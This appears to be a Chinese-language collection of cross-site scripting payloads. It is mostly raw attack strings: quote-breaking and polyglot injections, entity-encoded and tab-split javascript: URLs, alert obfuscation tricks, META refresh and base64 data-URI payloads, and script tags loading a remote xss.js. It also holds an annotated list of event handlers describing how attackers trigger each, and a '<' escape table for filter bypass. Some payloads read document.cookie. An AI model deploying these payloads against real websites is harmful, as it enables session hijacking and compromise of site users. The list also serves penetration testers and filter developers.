xss payload收集

-使用URL编码器对整个代码进行编码

1
2
3
4
5
';alert(String.fromCharCode(88,83,83))//

";alert(String.fromCharCode(88,83,83))//

--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

-较短的xss定位器

1
";!--"<XSS>=&{()}

-利用多语言进行过滤绕过

1
2
3
4
5
6
7
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\>

</|\><plaintext/onmouseover=prompt(1)>

<script>alert(document.cookie)</script>">

<img/id="confirm&lpar;1)"/alt="/"src="/"onerror=eval(id)>'">

-HTML实体

1
<IMG SRC=javascript:alert(&quot;XSS&quot;)>

-重音符混淆

1
<IMG SRC=`javascript:alert("xss")`>

-A标签

1
2
3
<a onmouseover="alert(document.cookie)">xss link</a>

<a onmouseover=alert(document.cookie)>xss link</a>

-IMG标签

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<IMG """><SCRIPT>alert("xss")</SCRIPT>">

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#000011
5&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000
097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#00
00088&#0000083&#0000083&#0000039&#0000041">

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#11
6;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#00000
99&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088
&#0000083&#0000083&#0000039&#0000041>

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74
&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27
&#x29>

-内嵌TAB

1
2
3
<IMG SRC="jav ascript:alert('XSS');"> 

<IMG SRC="jav&#x09;ascript:alert('XSS');">

-内嵌换行分割

1
<IMG SRC="jav&#x0A;ascript:alert('XSS');">

-内嵌回车

1
<IMG SRC="jav&#x0D;ascript:alert('XSS');">

-JavaScript双重转义

1
\";alert('XSS');//

-ECMAScript 6

1
Set.constructor`alert\x28document.domain\29`

-事件处理程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
1. FSCommand() (攻击者当需要在嵌入的Flash对象中执行时可以使用此事件) 
2. onAbort() (当用户中止加载图片时)
3. onActivate() (当对象激活时)
4. onAfterPrint() (用户打印或进行打印预览后触发)
5. onAfterUpdate() (从数据源对象更新数据后由数据对象触发)
6. onBeforeActivate() (在对象设置为激活元素前触发)
7. onBeforeCopy() (攻击者在选中部分拷贝到剪贴板前执行攻击代码-攻击者可以通过
执行execCommand("Copy")函数触发)
8. onBeforeCut() (攻击者在选中部分剪切到剪贴板前执行攻击代码)
9. onBeforeDeactivate() (在当前对象的激活元素变化前触发)
10. onBeforeEditFocus() (在一个包含可编辑元素的对象进入激活状态时或一个可编辑的
对象被选中时触发)
11. onBeforePaste() (在用户被诱导进行粘贴前或使用 execCommand("Paste")函数触
发)
12. onBeforePrint() (用户需要被诱导进行打印或攻击者可以使用 print()或 execComma
nd("Print")函数).
13. onBeforeUnload() (用户需要被诱导关闭浏览器-除非从父窗口执行,否则攻击者不能
关闭当前窗口)
14. onBeforeUpdate() (从数据源对象更新数据前由数据对象触发)
15. onBegin() (当元素周期开始时由onbegin 事件立即触发)
16. onBlur() (另一个窗口弹出当前窗口失去焦点时触发)
17. onBounce() (当marquee对象的behavior属性设置为“alternate”且字幕的滚动内
容到达窗口一边时触发)
18. onCellChange() (当数据提供者的数据变化时触发)
19. onChange() (select,text, 或TEXTAREA字段失去焦点并且值发生变化时触发)
20. onClick() (表单中点击触发)
21. onContextMenu() (用户需要在攻击区域点击右键)
22. onControlSelect() (当用户在一个对象上创建控件选中区时触发)
23. onCopy() (用户需要复制一些东西或使用execCommand("Copy")命令时触发)
24. onCut() (用户需要剪切一些东西或使用execCommand("Cut")命令时触发)
25. onDataAvailable() (用户需要修改元素中的数据,或者由攻击者提供的类似功能)
26. onDataSetChanged() (当数据源对象变更导致数据集发生变更时触发)
27. onDataSetComplete() (数据源对象中所有数据可用时触发)
28. onDblClick() (用户双击一个表单元素或链接)
29. onDeactivate() (在激活元素从当前对象转换到父文档中的另一个对象时触发)
30. onDrag() (在元素正在拖动时触发)
31. onDragEnd() (当用户完成元素的拖动时触发)
32. onDragLeave() (用户在拖动元素离开放置目标时触发)
33. onDragEnter() (用户将对象拖拽到合法拖曳目标)
34. onDragOver() (用户将对象拖拽划过合法拖曳目标)
35. onDragDrop() (用户将一个对象(例如文件)拖拽到浏览器窗口)
36. onDragStart() (当用户开始拖动元素时触发)
37. onDrop() (当拖动元素放置在目标区域时触发)
38. onEnded() (在视频/音频(audio/video)播放结束时触发)
39. onError() (在加载文档或图像时发生错误)
40. onErrorUpdate() (当从数据源对象更新相关数据遇到错误时在数据绑定对象上触发)
41. onFilterChange() (当滤镜完成状态变更时触发)
42. onFinish() (当marquee完成滚动时攻击者可以执行攻击)
43. onFocus() (当窗口获得焦点时攻击者可以执行攻击代码)
44. onFocusIn() (当元素将要被设置为焦点之前触发)
45. onFocusOut() (攻击者可以在窗口失去焦点时触发攻击代码)
46. onHashChange() (当锚部分发生变化时触发攻击代码)
47. onHelp() (攻击者可以在用户在当前窗体激活时按下F1 触发攻击代码)
48. onInput() (在 <input> 或 <textarea> 元素的值发生改变时触发)
49. onKeyDown() (用户按下一个键的时候触发)
50. onKeyPress() (在键盘按键被按下并释放一个键时触发)
51. onKeyUp() (用户释放一个键时触发)
52. onLayoutComplete() (用户进行完打印或打印预览时触发)
53. onLoad() (攻击者在窗口加载后触发攻击代码)
54. onLoseCapture() (可以由releaseCapture()方法触发)
55. onMediaComplete() (当一个流媒体文件使用时,这个事件可以在文件播放前触发)
56. onMediaError() (当用户在浏览器中打开一个包含媒体文件的页面,出现问题时触发
事件)
57. onMessage() (当页面收到一个信息时触发事件)
58. onMouseDown() (攻击者需要让用户点击一个图片触发事件)
59. onMouseEnter() (光标移动到一个对象或区域时触发)
60. onMouseLeave() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事
件)
61. onMouseMove() (攻击者需要让用户将光标移到一个图片或表格)
62. onMouseOut() (攻击者需要让用户光标移动到一个图像或表格然后移开来触发事件)
63. onMouseOver() (光标移动到一个对象或区域)
64. onMouseUp() (攻击者需要让用户点击一个图片)
65. onMouseWheel() (攻击者需要让用户使用他们的鼠标滚轮)
66. onMove() (用户或攻击者移动页面时触发)
67. onMoveEnd() (用户或攻击者移动页面结束时触发)
68. onMoveStart() (用户或攻击者开始移动页面时触发)
69. onOffline() (当浏览器从在线模式切换到离线模式时触发)
70. onOnline() (当浏览器从离线模式切换到在线模式时触发)
71. onOutOfSync() (当元素与当前时间线失去同步时触发)
72. onPaste() (用户进行粘贴时或攻击者可以使用execCommand("Paste")函数时触发)
73. onPause() (在视频或音频暂停时触发)
74. onPopState() (在窗口的浏览历史(history 对象)发生改变时触发)
75. onProgress() (攻击者可以在一个FLASH加载时触发事件)
76. onPropertyChange() (用户或攻击者需要改变元素属性时触发)
77. onReadyStateChange() (每次 readyState 属性变化时被自动调用)
78. onRedo() (用户返回上一页面时触发)
79. onRepeat() (事件在播放完重复播放时触发)
80. onReset() (用户或攻击者重置表单时触发)
81. onResize() (用户改变窗口大小时,攻击者可以自动以这种方法触发: <SCRIPT>self.resizeTo(500,400);</SCRIPT>)
82. onResizeEnd() (用户完成改变窗体大小时触发)
83. onResizeStart() (用户开始改变窗体大小时触发)
84. onResume() (当元素继续播放时触发)
85. onReverse() (当元素回放时触发)
86. onRowsEnter() (用户或攻击者需要改变数据源中的一行)
87. onRowExit() (用户或攻击者改变数据源中的一行后退出时触发)
88. onRowDelete() (用户或攻击者需要删除数据源中的一行)
89. onRowInserted() (user or attacker would need to insert a row in a data source)
90. onScroll() (用户需要滚动或攻击者使用scrollBy()函数)
91. onSeek() (当用户在元素上执行查找操作时触发)
92. onSelect() (用户需要选择一些文本-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
93. onSelectionChange() (当用户选择文本变化时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
94. onSelectStart() (当用户开始选择文本时触发-攻击者可以以此方式触发: window.document.execCommand("SelectAll");)
95. onStart() (在marquee 对象开始循环时触发)
96. onStop() (当用户按下停止按钮或离开页面时触发)
97. onStorage() (当Web Storage更新时触发)
98. onSyncRestored() (当元素与它的时间线恢复同步时触发)
99. onSubmit() (需要用户或攻击者提交表单)
100.onTimeError() (用户或攻击者设置时间属性出现错误时触发)
101.onTrackChange() (用户或攻击者改变播放列表内歌曲时触发)
102.onUndo() (用户返回上一浏览记录页面时触发)
103.onUnload() (用户点击任意链接或按下后退按钮或攻击者强制进行点击时触发)
104.onURLFlip() (当一个高级流媒体格式(ASF)文件,由一个 HTML+TIME(基于时间
交互的多媒体扩展)媒体标签播放时,可触发在ASF文件中内嵌的攻击脚本)
105.seekSegmentTime() (这是一个方法可以定位元素某个时间段内中的特定的点,并可
以从该点播放。这个段落包含了一个重复的时间线,并包括使用 AUTOREVERSE 属性
进行反向播放。)

-含有分隔JavaScript的STYLE标签

1
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

-META

1
2
3
4
5
6
7
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">

<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjc
mlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">

<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert
('XSS');">

Alert混淆以绕过过滤器

1
2
3
4
5
6
7
8
9
(alert)(1) 
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)

-字符转义表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
< 
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C

-使用HTML引号包含的XSS

1
2
3
4
<SCRIPT a=">" SRC="http://example.com/xss.js"></SCRIPT> 
<SCRIPT =">" SRC="http://example.com/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://example.com/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://example.com/xss.js"></SCRIPT>

-Other

1
[][`filter`][`constructor`](`ale`.concat(`rt\x28`.concat`0\x29`))();//